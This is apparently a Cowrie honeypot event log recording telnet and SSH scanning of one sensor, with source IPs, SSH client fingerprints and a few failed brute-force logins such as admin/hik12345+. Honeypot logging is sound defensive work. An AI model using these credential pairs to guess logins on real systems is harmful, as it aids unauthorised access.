{"eventid":"cowrie.session.closed","duration":30.820997953414917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:33.491954Z","src_ip":"51.38.143.2","session":"46d20a71cef7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56590,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b43bb157bf1","protocol":"telnet","message":"New connection: 51.38.143.2:56590 (159.203.135.109:23) [session: 7b43bb157bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:33.788682Z"}
{"eventid":"cowrie.session.closed","duration":30.60625720024109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:34.431586Z","src_ip":"51.38.143.2","session":"29067e5da97a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":56604,"dst_ip":"159.203.135.109","dst_port":23,"session":"a56620a22ffb","protocol":"telnet","message":"New connection: 51.38.143.2:56604 (159.203.135.109:23) [session: a56620a22ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:34.666454Z"}
{"eventid":"cowrie.session.closed","duration":31.122116804122925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:37.357301Z","src_ip":"51.38.143.2","session":"a3694b0fa535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965120553970337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:37.511868Z","src_ip":"51.38.143.2","session":"ae95f0aa0c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59658,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f425b941e4","protocol":"telnet","message":"New connection: 51.38.143.2:59658 (159.203.135.109:23) [session: 99f425b941e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:39.604806Z"}
{"eventid":"cowrie.session.closed","duration":31.23810124397278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:39.709910Z","src_ip":"51.38.143.2","session":"353998ceb200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":48760,"dst_ip":"159.203.135.109","dst_port":22,"session":"18409d3dfc68","protocol":"ssh","message":"New connection: 45.78.208.179:48760 (159.203.135.109:22) [session: 18409d3dfc68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:40.552372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:40.557342Z","src_ip":"45.78.208.179","session":"18409d3dfc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59668,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc1bdebdd09d","protocol":"telnet","message":"New connection: 51.38.143.2:59668 (159.203.135.109:23) [session: bc1bdebdd09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:40.637973Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:40.800847Z","src_ip":"45.78.208.179","session":"18409d3dfc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.765406608581543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:41.405637Z","src_ip":"51.38.143.2","session":"164a4f921134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4dd8fc72e1f","protocol":"telnet","message":"New connection: 51.38.143.2:59672 (159.203.135.109:23) [session: f4dd8fc72e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:41.773315Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"987654321","message":"login attempt [test/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:41.810261Z","src_ip":"45.78.208.179","session":"18409d3dfc68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":59688,"dst_ip":"159.203.135.109","dst_port":23,"session":"460c18d55351","protocol":"telnet","message":"New connection: 51.38.143.2:59688 (159.203.135.109:23) [session: 460c18d55351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:42.652453Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:43.055743Z","src_ip":"45.78.208.179","session":"18409d3dfc68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77031922340393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:43.393368Z","src_ip":"51.38.143.2","session":"425777a54511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17426872253418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:43.397905Z","src_ip":"51.38.143.2","session":"a460647dafc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787617444992065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:43.405527Z","src_ip":"51.38.143.2","session":"abfbaea2fa7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70062565803528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:44.378312Z","src_ip":"51.38.143.2","session":"9bd44f755c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682539463043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:44.486876Z","src_ip":"51.38.143.2","session":"e2585064d2c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":41644,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b0f18ad7cbb","protocol":"ssh","message":"New connection: 103.172.20.218:41644 (159.203.135.109:22) [session: 8b0f18ad7cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:44.840547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:44.845534Z","src_ip":"103.172.20.218","session":"8b0f18ad7cbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:45.078976Z","src_ip":"103.172.20.218","session":"8b0f18ad7cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roger","password":"test","message":"login attempt [roger/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:46.013964Z","src_ip":"103.172.20.218","session":"8b0f18ad7cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:47.241796Z","src_ip":"103.172.20.218","session":"8b0f18ad7cbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.44027042388916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:48.064318Z","src_ip":"51.38.143.2","session":"bb2a59304420","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.302456617355347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:49.348524Z","src_ip":"51.38.143.2","session":"43a8d0def402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.624865770339966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:50.227473Z","src_ip":"51.38.143.2","session":"a12067e2f6fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":48482,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2c7c0ff686a","protocol":"telnet","message":"New connection: 51.38.143.2:48482 (159.203.135.109:23) [session: e2c7c0ff686a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:58.140467Z"}
{"eventid":"cowrie.session.closed","duration":31.26315712928772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:58.295408Z","src_ip":"51.38.143.2","session":"479214354d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794852256774902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:58.463390Z","src_ip":"51.38.143.2","session":"647efd33d54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":48496,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a17a83f1cee","protocol":"telnet","message":"New connection: 51.38.143.2:48496 (159.203.135.109:23) [session: 4a17a83f1cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:57:58.764537Z"}
{"eventid":"cowrie.session.closed","duration":30.610639095306396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:01.336188Z","src_ip":"51.38.143.2","session":"0c7867120325","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.605232000350952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:01.516012Z","src_ip":"51.38.143.2","session":"0a0210815b0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.079975605010986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:03.465873Z","src_ip":"51.38.143.2","session":"b2b56f64bcbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71073627471924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:04.499321Z","src_ip":"51.38.143.2","session":"7b43bb157bf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":48510,"dst_ip":"159.203.135.109","dst_port":23,"session":"557d6dfe5837","protocol":"telnet","message":"New connection: 51.38.143.2:48510 (159.203.135.109:23) [session: 557d6dfe5837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:04.621605Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":48522,"dst_ip":"159.203.135.109","dst_port":23,"session":"45f563016328","protocol":"telnet","message":"New connection: 51.38.143.2:48522 (159.203.135.109:23) [session: 45f563016328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:04.888319Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c747f06dd6f","protocol":"telnet","message":"New connection: 51.38.143.2:50940 (159.203.135.109:23) [session: 2c747f06dd6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:05.545139Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":50948,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c61f5552979","protocol":"telnet","message":"New connection: 51.38.143.2:50948 (159.203.135.109:23) [session: 5c61f5552979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:05.628594Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":50950,"dst_ip":"159.203.135.109","dst_port":23,"session":"0641c77d4e2a","protocol":"telnet","message":"New connection: 51.38.143.2:50950 (159.203.135.109:23) [session: 0641c77d4e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:05.808180Z"}
{"eventid":"cowrie.session.closed","duration":31.425286293029785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:06.091608Z","src_ip":"51.38.143.2","session":"a56620a22ffb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783334970474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:10.388005Z","src_ip":"51.38.143.2","session":"99f425b941e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064663887023926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:11.702521Z","src_ip":"51.38.143.2","session":"bc1bdebdd09d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":50956,"dst_ip":"159.203.135.109","dst_port":23,"session":"626396ba60ed","protocol":"telnet","message":"New connection: 51.38.143.2:50956 (159.203.135.109:23) [session: 626396ba60ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:11.752738Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53400,"dst_ip":"159.203.135.109","dst_port":22,"session":"bef7b1719224","protocol":"ssh","message":"New connection: 159.203.92.129:53400 (159.203.135.109:22) [session: bef7b1719224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:12.100266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:12.104239Z","src_ip":"159.203.92.129","session":"bef7b1719224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:12.108071Z","src_ip":"159.203.92.129","session":"bef7b1719224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hik12345+","message":"login attempt [admin/hik12345+] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:12.122933Z","src_ip":"159.203.92.129","session":"bef7b1719224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95793128013611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:12.731042Z","src_ip":"51.38.143.2","session":"f4dd8fc72e1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:13.128725Z","src_ip":"159.203.92.129","session":"bef7b1719224","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96750831604004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:13.619826Z","src_ip":"51.38.143.2","session":"460c18d55351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":55914,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76994c9615b","protocol":"telnet","message":"New connection: 51.38.143.2:55914 (159.203.135.109:23) [session: c76994c9615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:20.727755Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":55920,"dst_ip":"159.203.135.109","dst_port":23,"session":"75eb39c36bb2","protocol":"telnet","message":"New connection: 51.38.143.2:55920 (159.203.135.109:23) [session: 75eb39c36bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:23.174981Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":55924,"dst_ip":"159.203.135.109","dst_port":23,"session":"749ca3101560","protocol":"telnet","message":"New connection: 51.38.143.2:55924 (159.203.135.109:23) [session: 749ca3101560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:23.774762Z"}
{"eventid":"cowrie.session.closed","duration":30.403314113616943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:28.543652Z","src_ip":"51.38.143.2","session":"e2c7c0ff686a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":16571,"dst_ip":"159.203.135.109","dst_port":22,"session":"91075abf9438","protocol":"ssh","message":"New connection: 223.197.186.7:16571 (159.203.135.109:22) [session: 91075abf9438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:28.841700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:28.846092Z","src_ip":"223.197.186.7","session":"91075abf9438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:29.080840Z","src_ip":"223.197.186.7","session":"91075abf9438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.665231466293335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:58:29.429672Z","src_ip":"51.38.143.2","session":"4a17a83f1cee","protocol":"telnet"}
